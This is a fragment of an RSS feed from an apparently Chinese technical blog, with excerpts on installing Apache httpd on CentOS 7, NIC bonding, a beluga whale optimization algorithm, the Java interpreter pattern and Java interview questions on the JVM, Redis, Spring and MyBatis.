      <pubDate>Fri, 02 Sep 2022 18:21:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8358ac79c2935c786c4b45a139914b3e/</guid>
      <description>Linux 安装httpd（apache）超详细教程 1.什么是apache 2.apache的作用 3.实验所需要的环境 4.实验步骤 （yum安装，编译安装） 什么是apache： Apache是一款非凡的应用软件，它是世界上使用最广泛的Web服务器应用程序，并且在商业Web服务器市场中占有超过50％的份额。Apache是类Unix操作系统中使用最广泛的Web服务器应用程序，可以在几乎所有平台上使用，例如Windows等。Apache是取自Native的名字美国部落’ 阿帕奇’，以其在战争和战略制定方面的技能而闻名。&#xA;Apache是一个基于流程的模块化Web服务器应用程序，它通过每个同时连接创建一个新线程。它支持许多功能; 其中许多都被编译为单独的模块并扩展其核心功能，并且可以提供从服务器端编程语言支持到身份验证机制的所有功能，它允许单个Apache Web服务器为许多不同的网站提供服务。&#xA;apache的作用： 1.解析网页语言，如html，php，jsp等 2.接收web用户的请求，并给予一定的响应 以下是个人理解： apache主要用户解析静态网页如html 若你想在Linux上面制作自己的一个静态网站，可以使用apache的web服务软件来对外发布，这种的web服务软件还有比如：nginx 也是解析静态网页的，tomcat可以解析动态网页 实验所需要的环境： 需要安装包的同学可以私信我！！！&#xA;实验环境所需要的安装包centos7操作系统httpd-2.4.25.tar.gz 实验步骤： 注意事项：编译安装和yum安装只能选一个，不然会冲突了&#xA;编译安装apache： 将所需要的安装包拖至系统桌面中： 需要安装包的同学可以私信我！！！&#xA;编译安装步骤：&#xA;//解压httpd安装包到 /usr/src/目录下面 tar -zxvf /root/桌面/httpd-2.4.25.tar.gz -C /usr/src/ //yum安装httpd所需要的依赖包： yum -y install zlib* openssl* apr* pcre-devel openssl* //进入httpd目录 cd /usr/src/httpd-2.4.25/ //安装httpd所需要的模块： ./configure --prefix=/usr/local/httpd --enable-so --enable-rewrite --enable-charset-lite --enable-cgi --enable-mpms-shared=all --with-mpm=worker --enable-cgid --enable-deflate --enable-ssl --enable-modules=most --enable-modes-shared=most //编译安装，并嵌入系统内核 (耐心等待) make &amp;amp;&amp;amp; make install //制作路径优化： 注意：*号前面没有空格 ln -s /usr/local/httpd/bin/ * /usr/local/bin/ //将文本复制到 /etc/init.</description>
    </item>
    <item>
      <title>六种进程间通信方式</title>
      <link>https://bchobby.github.io/posts/178fa1e06c21a216b5379fd07a2fb880/</link>
      <pubDate>Fri, 02 Sep 2022 17:45:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/178fa1e06c21a216b5379fd07a2fb880/</guid>
      <description>转载：六种进程间通信方式_LceChan的博客-CSDN博客_如何实现进程间通信</description>
    </item>
    <item>
      <title>多目标白鲸优化算法</title>
      <link>https://bchobby.github.io/posts/708c3e5dd940368a7c6d3c58e31b35f5/</link>
      <pubDate>Fri, 02 Sep 2022 14:15:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/708c3e5dd940368a7c6d3c58e31b35f5/</guid>
      <description>1.白鲸优化算法&#xA;参考论文：Zhong C, Li G, Meng Z. Beluga whale optimization: A novel nature-inspired metaheuristic algorithm[J]. Knowledge-Based Systems, 2022: 109215.&#xA;主要内容：本文提出了一种基于白鲸行为的元启发式算法白鲸优化(BWO)来解决优化问题。BWO建立了探索、开发和捕鲸三个阶段，分别对应于对游、猎物和落鲸的行为。BWO中鲸鱼跌倒的平衡因子和概率是自适应的，对控制勘探开发能力起着重要作用。此外，在开发阶段引入了征税飞行来增强全球收敛性。利用30个基准函数对该BWO的有效性进行了测试，并进行了定性、定量和可扩展性分析，并将统计结果与其他15种元启发式算法进行了比较。根据结果和讨论，BWO是一种解决单峰和多模态优化问题的竞争算法，通过弗里德曼排名检验，第一个比较元启发式算法之间基准函数的可扩展性分析。最后，四个工程问题证明了BWO在解决复杂的现实世界优化问题中的优点和潜力。&#xA;白鲸的行为示意图如下：游泳，对应于勘探阶段；觅食，对应于开发阶段；鲸鱼坠落，为鲸鱼坠落的阶段。&#xA;算法总体框架示意图如下：&#xA;2.NSGAII&#xA;参考论文：Deb K, Pratap A, Agarwal S, et al. A fast and elitist multiobjective genetic algorithm: NSGA-II[J]. IEEE transactions on evolutionary computation, 2002, 6(2): 182-197.&#xA;3.多目标白鲸优化算法(MOBWO)&#xA;在原论文中，白鲸优化算法是对单目标进行优化的。这里为了实现多目标白鲸优化算法，现将白鲸优化算法嵌入到NSGAII中，从而解决多目标优化问题。程序具体由matlab编程实现，具体核心代码如下所示：&#xA;（1）多目标白鲸优化算法（MOBWO）（无约束版本）&#xA;%--------------------------------------------------------------------- %程序功能：实现多目标白鲸优化算法（MOBWO）（无约束），测试函数为ZDT1,ZDT2,ZDT3,ZDT4,ZDT6,DTLZ1,DTLZ2 %择优策略：非支配排序，拥挤度计算，精英选择 %交配池：二元竞争选择 %遗传算子：白鲸优化算法（BWO） %参考论文1：Deb K, Pratap A, Agarwal S, et al. A fast and elitist multiobjective %genetic algorithm: NSGA-II[J].</description>
    </item>
    <item>
      <title>CentOS 7 双网卡bond 网卡mac 相同的处理</title>
      <link>https://bchobby.github.io/posts/69ab6538db55a68d3c9be310b5756486/</link>
      <pubDate>Fri, 02 Sep 2022 10:09:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69ab6538db55a68d3c9be310b5756486/</guid>
      <description>背景 网络组通知一几台主机的双网卡是同样的mac。交换机成了环路，无法学习mac&#xA;排查过程 首先检查 /etc/modprobe.d/bond.conf 文件，确实是 mode=1， 应该使用 active backup（主备模式）的模式，&#xA;但是通过使用 nmtui 命令调出图形界面检查，确是round-robin（双活轮询）模式。&#xA;说明/etc/modprobe.d/bond.conf&#xA;于是在/etc/sysconfig/network-scripts/ifcfg-bond0 添加如下配置&#xA;BONDING_OPTS=”miimon=100 mode=1&#34; BONDING_MASTER=yes 然后重启 network&#xA;systemctl restart network 分别使用 ifconfig 和 nmtui 检查网卡信息， 返现nmtui看到的bond 模式确实切换成了active backup（主备模式），但是两张物理网卡和 bond0 虚拟网卡的 mac 依然是相同的。&#xA;经过搜索， /etc/sysconfig/network-scripts/ifcfg-bond0 添加配置 fail_over_mac=1, 最终添加如下配置&#xA;BONDING_OPTS=“miimon=100 mode=1 fail_over_mac=1” BONDING_MASTER=yes 重启网卡&#xA;systemctl restart network 再次查看网卡mac， 此时 bond0的mac与正在工作的master网卡一致，slave 网卡有自己的mac， 此时拔掉正在工作的master网卡的网线，bond0的mac就切换为了之前 slave 网卡的 mac。网络通信正常， 主备切换正常。&#xA;后记 /etc/modprobe.d/bond.conf 为什么不生效依然没搞清楚&#xA;关于fail_over_mac参数：&#xA;bond0获取mac地址有两种方式,一种是从第一个活跃网卡中获取mac地址，然后其余的SLAVE网卡的mac地址都使用该mac地址；另一种是使用fail_over_mac参数，是bond0使用当前活跃网卡的mac地址，mac地址或者活跃网卡的转换而变。</description>
    </item>
    <item>
      <title>Java设计模式之解释器模式</title>
      <link>https://bchobby.github.io/posts/592e1eefb65b7ebc72bf434312832fb4/</link>
      <pubDate>Fri, 02 Sep 2022 09:10:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/592e1eefb65b7ebc72bf434312832fb4/</guid>
      <description>目录 1. 解释器模式1.1 定义、优缺点、适应场景1.2 模式的结构与实现 1. 解释器模式 1.1 定义、优缺点、适应场景 定义：解释器模式(Interpreter Pattern)，是指给定一个语言(表达式)，来表示它的文法，并定义一个解释器，使用该解释器来解释语言中的句子(表达式)，并得到结果。例如在编译原理中，一个算术表达式通过词法分析器形成词法单元，而后这些词法单元再通过语法分析器构建成一颗抽象语法分析树。这里的词法分析器和语法分析器都可以看做是解释器&#xA;优点：&#xA;易于扩展文法。由于在解释器模式中使用类来表示语言的文法规则，因此可以通过继承等机制来扩展文法每一条文法规则都可以表示为一个类，因此可以方便地实现一个简单的语言增加新的解释表达式较为方便。如果用户需要增加新的解释表达式只需要对应增加一个新的终结符表达式或非终结符表达式类，原有表达式类代码无须修改，符合开闭原则 缺点：&#xA;解释器模式会引起类膨胀解释器模式采用递归调用方法，将会导致调试非常复杂、效率可能降低 适应场景：&#xA;应用可以将一个需要解释执行的语言中的句子表示为一个抽象语法树，让程序具有良好的扩展性一些重复出现的问题可以用一种简单的语言来表达一个简单语法需要解释的场景比如编译器、运算表达式计算、正则表达式、机器人等 1.2 模式的结构与实现 结构：&#xA;环境角色(Context): 含有解释器之外的全局信息抽象表达式(AbstractExpression): 声明一个抽象的解释方法，这个方法为抽象语法树中所有的节点所共享终结符表达式(TerminalExpression): 实现与文法中的终结符相关的解释操作非终结符表达式(NonTermialExpression): 为文法中的非终结符实现解释操作Client：通过Client输入Context和TerminalExpression信息 实现：&#xA;通过解释器模式来实现整数四则运算，如计算a+b-c的值，具体要求&#xA;先输入表达式的形式，比如a+b+c-d+e, 要求表达式的字母不能重复再分别输入a ,b, c, d, e的值最后求出结果 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.HashMap; import java.util.Stack; public class InterpreterTest { public static void main(String[] args) throws IOException { // 例如：expStr = a+b-c String expStr = getExpStr(); // 例如：inputMap = {a=10, b=30, c=20} HashMap&amp;lt;String, Integer&amp;gt; inputMap = getInputMap(expStr); // 进行计算器表达式的构造 Calculator calculator = new Calculator(expStr); // 将inputMap传入计算器表达式，进行计算 System.</description>
    </item>
    <item>
      <title>【0基础学java】教学日志：项目实战-坦克大战-2</title>
      <link>https://bchobby.github.io/posts/a25a1e1bc33ae5d2190fcfd040adb3c8/</link>
      <pubDate>Thu, 01 Sep 2022 18:37:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a25a1e1bc33ae5d2190fcfd040adb3c8/</guid>
      <description>本章概述：本章主要讲了如何让坦克动起来，添加键盘监听事件，每隔50ms刷新窗口自动调用画笔，添加键盘处理，根据箭头的状态来判断坦克的移动方向&#xA;目录&#xA;目录&#xA;本章概述：&#xA;一、将坦克坐标定为变量，在paint()方法中修改值，paint被调用后，就可以动起来&#xA;二、添加键盘监听事件&#xA;1、TankFrame&#xA;运行效果&#xA;​编辑&#xA;三、在主线程每隔50ms刷新窗口，调用repaint()方法，repaint()会自动调用paint(g)&#xA;1、TankFrame&#xA;2、Main 运行效果&#xA;四、添加键盘处理，根据上下左右箭头的按键状态，判断坦克的移动方向&#xA;1、TankFrame&#xA;本章概述： 一、将坦克坐标定为变量，在paint()方法中修改值，paint被调用后，就可以动起来 public class TankFrame extends Frame { int x = 200,y=200; public TankFrame(){ setTitle(&#34;tank war&#34;); setSize(800,600); @ -28,6 +30,8 @@ public class TankFrame extends Frame { @Override public void paint(Graphics g) { // System.out.println(&#34;paint&#34;); g.fillRect(200,200,50,50); g.fillRect(x,y,50,50); x += 50; y += 50; } } 二、添加键盘监听事件 1、TankFrame import java.awt.*; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent; import java.</description>
    </item>
    <item>
      <title>Java面试题——虚拟机</title>
      <link>https://bchobby.github.io/posts/70c1152fc80f0fc5f2a852b97c75d6c8/</link>
      <pubDate>Thu, 01 Sep 2022 16:54:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70c1152fc80f0fc5f2a852b97c75d6c8/</guid>
      <description>什么是 Java 虚拟机？为什么 Java 被称作是“平台无关的编程语言”？&#xA;Java 虚拟机是一个可以执行 Java 字节码的虚拟机进程。Java 源文件被编译成能被 Java 虚拟 机执行的字节码文件。Java 被设计成允许应用程序可以运行在任意的平台，而不需要程序员为每一个平台单独重写或者是重新编译。Java 虚拟机让这个变为可能，因为它知道底层硬件平台的指令长度和其他特性。&#xA;GC是什么？为什么要有GC&#xA;GC 是垃圾收集的意思（Gabage Collection）,内存处理是编程人员容易出现问题的地方， 忘记或者错误的内存回收会导致程序或系统的不稳定甚至崩溃，Java提供的 GC 功能可以自 动监测对象是否超过作用域从而达到自动回收内存的目的，Java 语言没有提供释放已分配内 存的显示操作方法。&#xA;ClassLoader如何加载class 。&#xA;jvm里有多个类加载，每个类加载可以负责加载特定位置的类，例如，bootstrap类加载负责加载jre/lib/rt.jar中的类， 我们平时用的jdk中的类都位于rt.jar中。extclassloader负责加载jar/lib/ext/*.jar中的类，appclassloader负责classpath指定的目录或jar中的类。除了bootstrap之外，其他的类加载器本身也都是java类，它们的父类是ClassLoader。&#xA;解释内存中的栈(stack)、堆(heap)和方法区(method area)的用法。&#xA;答：通常我们定义一个基本数据类型的变量，一个对象的引用，还有就是函数调用的现场保存都使用JVM中的栈空间；而通过new关键字和构造器创建的对象则放在堆空间，堆是垃圾收集器管理的主要区域，由于现在的垃圾收集器都采用分代收集算法，所以堆空间还可以细分为新生代和老生代，再具体一点可以分为Eden、Survivor（又可分为From Survivor和To Survivor）、Tenured；方法区和堆都是各个线程共享的内存区域，用于存储已经被JVM加载的类信息、常量、静态变量、JIT编译器编译后的代码等数据；程序中的字面量（literal）如直接书写的100、&#34;hello&#34;和常量都是放在常量池中，常量池是方法区的一部分，。栈空间操作起来最快但是栈很小，通常大量的对象都是放在堆空间，栈和堆的大小都可以通过JVM的启动参数来进行调整，栈空间用光了会引发StackOverflowError，而堆和常量池空间不足则会引发OutOfMemoryError。&#xA;说一下 JVM 的主要组成部分？及其作用？&#xA;类加载器（ClassLoader）&#xA;运行时数据区（Runtime Data Area）&#xA;执行引擎（Execution Engine）&#xA;本地库接口（Native Interface）组件的作用： 首先通过类加载器（ClassLoader）会把 Java 代码转换成字节码，运行时数据区（Runtime Data Area）再把字节码加载到内存中，而字节码文件只是 JVM 的一套指令集规范，并不能直接交给底层操作系统去执行，因此需要特定的命令解析器执行引擎（Execution Engine），将字节码翻译成底层系统指令，再交由 CPU 去执行，而这个过程中需要调用其他语言的本地库接口（Native Interface）来实现整个程序的功能。&#xA;&#xA;说一下 JVM 运行时数据区？&#xA;不同虚拟机的运行时数据区可能略微有所不同，但都会遵从 Java 虚拟机规范， Java 虚拟机规范规定的区域分为以下 5 个部分：&#xA;程序计数器（Program Counter Register）：当前线程所执行的字节码的行号指示器，字节码解析器的工作是通过改变这个计数器的值，来选取下一条需要执行的字节码指令，分支、循环、跳转、异常处理、线程恢复等基础功能，都需要依赖这个计数器来完成；</description>
    </item>
    <item>
      <title>java面试题——redis</title>
      <link>https://bchobby.github.io/posts/d24ba602d02bdd7342a122cccedd56be/</link>
      <pubDate>Thu, 01 Sep 2022 16:53:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d24ba602d02bdd7342a122cccedd56be/</guid>
      <description>Redis的基本数据类型？&#xA;String、Hash、List、Set、Zset&#xA;Redis的常见应用场景？&#xA;热点数据的缓存、限时业务的引用、计算器相关问题、排行榜相关问题、分布式锁、延时操作、分页、模糊搜索、点赞、好友等相互关系的存储、消息队列机制&#xA;什么是Redis&#xA;Redis(Remote Dictionary Server) 是一个使用 C 语言编写的，开源的（BSD许可）高性能非关系型（NoSQL）的键值对数据库。&#xA;Redis 可以存储键和五种不同类型的值之间的映射。键的类型只能为字符串，值支持五种数据类型：字符串、列表、集合、散列表、有序集合。&#xA;与传统数据库不同的是 Redis 的数据是存在内存中的，所以读写速度非常快，因此 redis 被广泛应用于缓存方向，每秒可以处理超过 10万次读写操作，是已知性能最快的Key-Value DB。另外，Redis 也经常用来做分布式锁。除此之外，Redis 支持事务 、持久化、LUA脚本、LRU驱动事件、多种集群方案。&#xA;怎么保证缓存和数据库数据的一致性？&#xA;合理设置缓存的过期时间。&#xA;新增，更改，删除数据库操作时，同步更新Redis，可以使用事务机制来保证数据的一致性。&#xA;Redis有哪些优缺点&#xA;优点&#xA;读写性能优异， Redis能读的速度是110000次/s，写的速度是81000次/s。&#xA;支持数据持久化，支持AOF和RDB两种持久化方式。&#xA;支持事务，Redis的所有操作都是原子性的，同时Redis还支持对几个操作合并后的原子性执行。&#xA;数据结构丰富，除了支持string类型的value外还支持hash、set、zset、list等数据结构。&#xA;支持主从复制，主机会自动将数据同步到从机，可以进行读写分离。&#xA;缺点&#xA;数据库容量受到物理内存的限制，不能用作海量数据的高性能读写，因此Redis适合的场景主要局限在较小数据量的高性能操作和运算上。&#xA;Redis 不具备自动容错和恢复功能，主机从机的宕机都会导致前端部分读写请求失败，需要等待机器重启或者手动切换前端的IP才能恢复。&#xA;主机宕机，宕机前有部分数据未能及时同步到从机，切换IP后还会引入数据不一致的问题，降低了系统的可用性。&#xA;Redis 较难支持在线扩容，在集群容量达到上限时在线扩容会变得很复杂。为避免这一问题，运维人员在系统上线时必须确保有足够的空间，这对资源造成了很大的浪费。&#xA;Redis有哪些功能？&#xA;数据缓存功能&#xA;分布式锁的功能&#xA;支持数据持久化&#xA;支持事务&#xA;支持消息队列&#xA;Redis和Memcache有什么区别？&#xA;存储方式不同：memcache 把数据全部存在内存之中，断电后会挂掉，数据不能超过内存大小；Redis 有部份存在硬盘上，这样能保证数据的持久性。&#xA;数据支持类型：memcache 对数据类型支持相对简单；Redis 有复杂的数据类型。&#xA;使用底层模型不同：它们之间底层实现方式，以及与客户端之间通信的应用协议不一样，Redis 自己构建了 vm 机制，因为一般的系统调用系统函数的话，会浪费一定的时间去移动和请求。&#xA;value 值大小不同：Redis 最大可以达到 512mb；memcache 只有 1mb。&#xA;Redis 为什么是单线程的？&#xA;因为 cpu 不是 Redis 的瓶颈，Redis 的瓶颈最有可能是机器内存或者网络带宽。既然单线程容易实现，而且 cpu 又不会成为瓶颈，那就顺理成章地采用单线程的方案了。关于 Redis 的性能，官方网站也有，普通笔记本轻松处理每秒几十万的请求。而且单线程并不代表就慢 nginx 和 nodejs 也都是高性能单线程的代表。</description>
    </item>
    <item>
      <title>java面试题——springCloud</title>
      <link>https://bchobby.github.io/posts/9aab52772b459ddc885c1b0f705fa0d7/</link>
      <pubDate>Thu, 01 Sep 2022 16:51:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9aab52772b459ddc885c1b0f705fa0d7/</guid>
      <description>什么是SpringCloud？&#xA;在SpringBoot的基础上构建的微服务框架。它利用SpringBoot的开发便利性简化了分布式系统基础设施的开发，如服务发现注册，配置中心，智能路由，消息总线，负载均衡，断路器，数据监控等，都可以用SpringBoot的开发的风格做到一件启动和部署。&#xA;微服务之间是如何独立通讯的？&#xA;同步通讯：Dubbo基于RPC远程调用，SpringCloud通过REST接口json调用。&#xA;异步通讯：通过消息队列，比如RabbitMQ，ActiveMQ, Kafka.&#xA;什么是服务熔断？什么是服务降级？&#xA;熔断机制是应对雪崩效应的一种微服务链保护机制，当扇出链路的谋和微服务不可用，或者相应时间太久，会进行服务降级，进而熔断该节点微服务的调用。快速返回错误的相应信息。&#xA;当检测到该节点相应正常后恢复调用链路。&#xA;服务降级，一般是从整体负荷考虑，就是当某个服务熔断之后，服务器不在被调用，此时客户端可以自己准备一个本地的fallbacn回调，返回一个缺省值，这样，虽然水品下降，但好歹能用，比直接挂掉强。&#xA;你所知道的微服务技术栈有哪些，列举几个？&#xA;服务注册与发现：Eureka，zookeeper&#xA;服务调用：Rest、rpc、grpc&#xA;服务熔断器：Hystrix&#xA;服务器负载均衡：Ribbon、Nginx&#xA;服务接口调用：Feign&#xA;消息队列：kafka、RabbitMQ、ActiveMQ&#xA;服务配置中心管理：SpringCloudConfig&#xA;服务路由（API网关）：Zuul&#xA;事件消息总线：SpringCloudBus&#xA;Eureka和zookeeper都可以提供服务注册于发现的功能，区别是什么？&#xA;Zookeeper：当注册中心查询到服务列表时，我们可以接受注册中心返回的是几分钟之前的消息，但是接受不了直接down掉不可用，也就是说服务注册功能对高可用性能要求比较高，但zk会出现这样一种情况，当master节点因为网络故障失去联系时，其他节点就会重新选取leader，而leader时间过长，选举期间zk集群都不可用，这样就导致选举期间注册服务瘫痪。&#xA;Eureka：保证了可用性，她的每个节点是平等的，几个节点挂掉不会影响正常节点的工作，&#xA;剩余的节点任然可以提供注册和查询服务，只要有一台Eureka的节点还在，就能保证注册服务可用，只是查到的信息可能不是最新的。&#xA;SpringCloud五大组件&#xA;微服务发现：Eureka 实现服务注册与发现&#xA;负载均衡：Ribbon 用来做客户端负载均衡&#xA;断路器：Hystrix 断路器，保护系统，控制故障范围&#xA;服务网关：Zuul 类似于Nginx 反向代理&#xA;服务调用：feign 远程调用组件&#xA;SpringCloud的优点：&#xA;产出于Spring大家族，Spring在企业级开发框架中无人能敌，来头很大，可以保证后续的更新、完善组件丰富，功能齐全。Spring Cloud 为微服务架构提供了非常完整的支持。例如、配置管理、服务发现、断路器、微服务网关等；&#xA;Spring Cloud 社区活跃度很高，教程很丰富，遇到问题很容易找到解决方案服务拆分粒度更细，耦合度比较低，有利于资源重复利用，有利于提高开发效率可以更精准的制定优化服务方案，提高系统的可维护性减轻团队的成本，可以并行开发，不用关注其他人怎么开发，先关注自己的开发微服务可以是跨平台的，可以用任何一种语言开发适于互联网时代，产品迭代周期更短。&#xA;缺点：项目结构复杂，每一个组件或者每一个服务都需要创建一个项目。部署门槛高，项目部署需要配合Docker等容器技术进行集群部署，而想要深入了解Docker，学习成本高。&#xA;SpringBoot和SpringCloud的区别？&#xA;SpringBoot专注于快速方便的单个个体微服务。&#xA;SpringCloud是关注全局的微服务协调整理框架，他将SpringBoot开发的一个一个单体服务整合并管理起来。为各个微服务之间提供，配置管理，服务发现，熔断器，路由，为代理，事件总线，全局锁，决策竞选，分布式回话等集成服务。SpringBoot可以离开SpringCloud独立使用开发项目， 但是SpringCloud离不开SpringBoot ，属于依赖的关系SpringBoot专注于快速、方便的开发单个微服务个体，SpringCloud关注全局的服务治理框架。&#xA;使用 Spring Boot 开发分布式微服务时，我们面临以下问题&#xA;（1）与分布式系统相关的复杂性-这种开销包括网络问题，延迟开销，带宽问题。&#xA;（2）服务发现-服务发现工具管理群集中的流程和服务如何查找和互相交谈。它涉及一个服务目录，在该目录中注册服务，然后能够查找并连接到该目录中的服务。&#xA;（3）冗余-分布式系统中的冗余问题&#xA;（4）负载平衡 --负载平衡改善跨多个计算资源的工作负荷，诸如计算机，计算机集群，网络链路，中央处理单元，或磁盘驱动器的分布&#xA;（5）性能-问题 由于各种运营开销导致的性能问题。&#xA;（6）部署复杂性-Devops 技能的要求。&#xA;服务注册和发现是什么意思？Spring Cloud 如何实现？&#xA;当我们开始一个项目时，我们通常在属性文件中进行所有的配置。随着越来越多的服务开发和部署，添加和修改这些属性变得更加复杂。有些服务可能会下降，而某些位置可能会发生变化。手动更改属性可能会产生问题。 Eureka 服务注册和发现可以在这种情况下提供帮助。由于所有服务都在 Eureka 服务器上注册并通过调用 Eureka 服务器完成查找，因此无需处理服务地点的任何更改和处理。</description>
    </item>
    <item>
      <title>java面试题——SpringBoot</title>
      <link>https://bchobby.github.io/posts/708f2fb6b6039fdeb1832c338309f8e5/</link>
      <pubDate>Thu, 01 Sep 2022 16:49:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/708f2fb6b6039fdeb1832c338309f8e5/</guid>
      <description>什么是SpringBoot？&#xA;SpringBoot是Spring开源组织下的子项目。是搭建Spring应用的脚手架，主要简化了使用Spring的难度，俭省了xml的配置，提供了各种启动器在运行过程中自动配置，可以快速的上手。&#xA;SpringBoot的优点？&#xA;容易上手，提升开发效率。&#xA;开箱即用，远离繁琐配置。&#xA;内嵌Tomcat。&#xA;没有代码生成，也不需要xml配置。&#xA;避免大量的Maven导入和各种版本冲突。&#xA;SpringBoot的常用注解？&#xA;@SpringBootApplication 通常用在主类上包含了&#xA;@Repository 用来标注数据访问组件 就是Dao组件&#xA;@Service 标注业务层组件&#xA;@RestController&#xA;用来标注控制层组件，其中就包含了@Controller和@ResponseBody&#xA;@Bean 把方法的返回值注入到Bean&#xA;@AutoWired 可以对类、成员变量、方法及构造函数经行标注，完成自动装配工作。&#xA;@Resource（） 如果括号中没有内容，则和@AutoWired干类似的事&#xA;@ConfigurationProperties 用来读取配置文件&#xA;@EnableConfigurationProperties 启用属性读取类&#xA;SpringBoot的核心配置文件？&#xA;SpringBoot的核心配置文件时application和bootstrap配置文件，&#xA;Application主要用用于SpringBoot项目的自动化配置。&#xA;BootStrap主要应用于使用SpringCloudConfig配置中心时，这时需要在bootstrap配置文件中添加连接到配置中心的配置属性来加载配置信息。&#xA;什么是JavaConfig？&#xA;JavaConfig是Spring社区的产品，提供了SpringIOC容器的纯Java方法。因此他有助于避免使用XML配置。&#xA;SpringBoot的配置文件的格式？&#xA;主要有.Properties和.yml&#xA;你如何理解SpringBoot配置的加载顺序？&#xA;在SpringBoot中可以使用properties文件、yml文件、系统环境变量、命令行参数来加载配置。&#xA;运行SpringBoot有哪几种方式？&#xA;打包用命令或者放到容器中运行&#xA;使用Maven插件运行&#xA;直接执行main方法&#xA;SpringBoot自动配置的原理是什么？&#xA;首先SpringBoot的自动装配离不开SPI机制，这个机制可以自动加载文件里所定义的类。&#xA;在程序启动时，启动类中有一个SpringBootApplication注解，其中包含了EnableOutoConfiguration，这个注解就是开启自动装配。然后导入importselector的实现类，调用指定的方法，加载spring.factories配置文件中key为EnableAutoConfiguration对应的value值。然后结合Spring的Conditional（康地市闹）注解将符合条件的配置类加载进去。&#xA;如何理解SpringBoot中的Starters？&#xA;Starters可以理解为一个启动器，包含了一系列可以集成到应用里的依赖包。可以一键式集成Spring和其他技术。&#xA;如何在SpringBoot启动的时候运行一些特定的代码？&#xA;可以实现接口ApplicationRunner或者CommandLineRunner，这两个接口实现方式一样，他们都提供了一个run方法。&#xA;SpringBoot有几种读取配置的方式？&#xA;读取application文件&#xA;通过@Value注解读取方式&#xA;通过@ConfigurationProperties注解读取方式&#xA;通过@PropertySource+@ConfigurationProperties注解读取方式&#xA;读取指定文件，就是在资源目录下建立config.properties&#xA;使用Environment读取方式。&#xA;SpringBoot实现热部署有几种方式？&#xA;使用 devtools 启动热部署，添加 devtools 库，在配置文件中把 spring. devtools. restart. enabled 设置为 true；&#xA;使用 Intellij Idea 编辑器，勾上自动编译或手动重新编译。</description>
    </item>
    <item>
      <title>java面试题——mybatis</title>
      <link>https://bchobby.github.io/posts/4f426091e62af03040656fed4cc13388/</link>
      <pubDate>Thu, 01 Sep 2022 16:48:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f426091e62af03040656fed4cc13388/</guid>
      <description>如何避免sql注入？&#xA;可以使用预处理PreparedStatement，或者使用正则表达式过滤掉字符中的特殊字符。&#xA;Mybatis的优缺点？&#xA;优点：&#xA;基于SQL语句编程，相当灵活。与JDBC相比，减少了代码量，消除了大量冗余的代码，不需要手动开关连接；并且能和Spring很好的集成。&#xA;缺点：&#xA;Sql语句的编写工作量大，尤其当字段多，关联表多时。对编写sql语句的功底有一定的要求。数据库移植性差，不能随意更换数据库。&#xA;mybatis中#和$的区别？&#xA;#为参数占位符，也就是sql预编译，在DBMS中进行变量替换，替换后会自动加上单引号，能够有效防止sql注入&#xA;$为字符串替换，也就是sql拼接，在DBMS外进行变量替换，替换后不会自动加单引号，不能防止sql注入。&#xA;Mysql的一级，二级缓存？&#xA;一级缓存是基于sqlsession默认开启的，需要创建sqlsession对象，是使用hahmap来存储的,不同的sqlsession之间是互不影响的，当在同一个sqlsession中查询两次数据时，第一次查询完数据后会将数据写入到缓存中，第二次就会在缓存中直接获取数据，提高查询效率。&#xA;二级缓存和一级缓存的机制相同，也是使用hsahmap来存储，不同点是她的作用域是mapper，可以自定义存储源，默认不打开二级缓存，sqlsession之间是共享的，可能存在脏读或者脏写的情况。&#xA;Xml映射文件中除了常见的select、insert、update、delete标签之外，还有那些标签？&#xA;、、、、、、、、、、&#xA;为什么说Mybatis是半自动ORM映射工具？他与全自动的区别在哪里？&#xA;Hibernate就属于全自动ORM映射工具，使用Hibernate查询对象时，可以根据对象的关系模型直接获取。所以是全自动的，Mybatis需要手动编写SQL。所以是半自动ORM映射工具。&#xA;Mybatis动态sql是做什么的？都有那些动态sql？能简述一下动态sql的执行原理吗？&#xA;Mybatis动态sql可以让我们在xml映射文件内，以标签的形式编写动态sql，完成逻辑判断和动态拼接sql的功能。其执行原理是使用OGNL从sql参数对象中计算表达式的值，根据表达式的值动态拼接sql，以此来完成动态sql的功能。&#xA;MySql优化：&#xA;首先是硬件方面的优化。&#xA;还有就是存储引擎的优化，事务型选择innoDB,非事务型选择MyISAM。&#xA;表结构设计的优化。符合三范式的要求。&#xA;开启查询缓存，当只需要一行数据时，使用limit1.&#xA;为搜索字段创建索引。&#xA;不使用select*。&#xA;为什么要使用自增列作为主键？&#xA;如果使用自增主键，那么每次插入数据就会按照是顺序依次插入，当一页写满时，就会开辟一个新的页面。如果使用非自增作为主键，那么每次插入的数据都很随机，其他数据就会因为新数据的插入而移动，增加了很多开销。&#xA;Mybatis是否支持延迟加载？如果支持。它的实现原理是什么？&#xA;Mybatis仅支持一对一和一对多的延迟加载，在mybatis配置文件中，可以配置是否启动延迟加载lazyloadingEnabled=ture/false&#xA;原理是：&#xA;使用CGLIB创建目标对象的代理对象，当调用目标方法时，进入拦截器方法。比如当A调用B属性的名称时，发现是null。那么就会发送事先保存好的B对象的sql，进行查询，然后调用set方法，然后A对象B属性就有值了。接着完成调用就可以了。&#xA;数据库3大范式 1NF:保证每列字段不可以再拆分(原子性)&#xA;2NF:在1NF基础上，每张表只描述一件事&#xA;3NF在2NF基础上，确保数据表中的每一列数据都和主键直接相关，而不能间接相关。&#xA;SQL语句主要分为那几类？&#xA;数据定义语言DDL&#xA;数据查询语言DQL&#xA;数据操纵语言DML&#xA;数据控制功能DCL&#xA;mysql数据库的存储引擎你知道哪些,有什么区别&#xA;1.MyISAM:不支持事务,不支持外键,适用于有大量的select操作的表，如 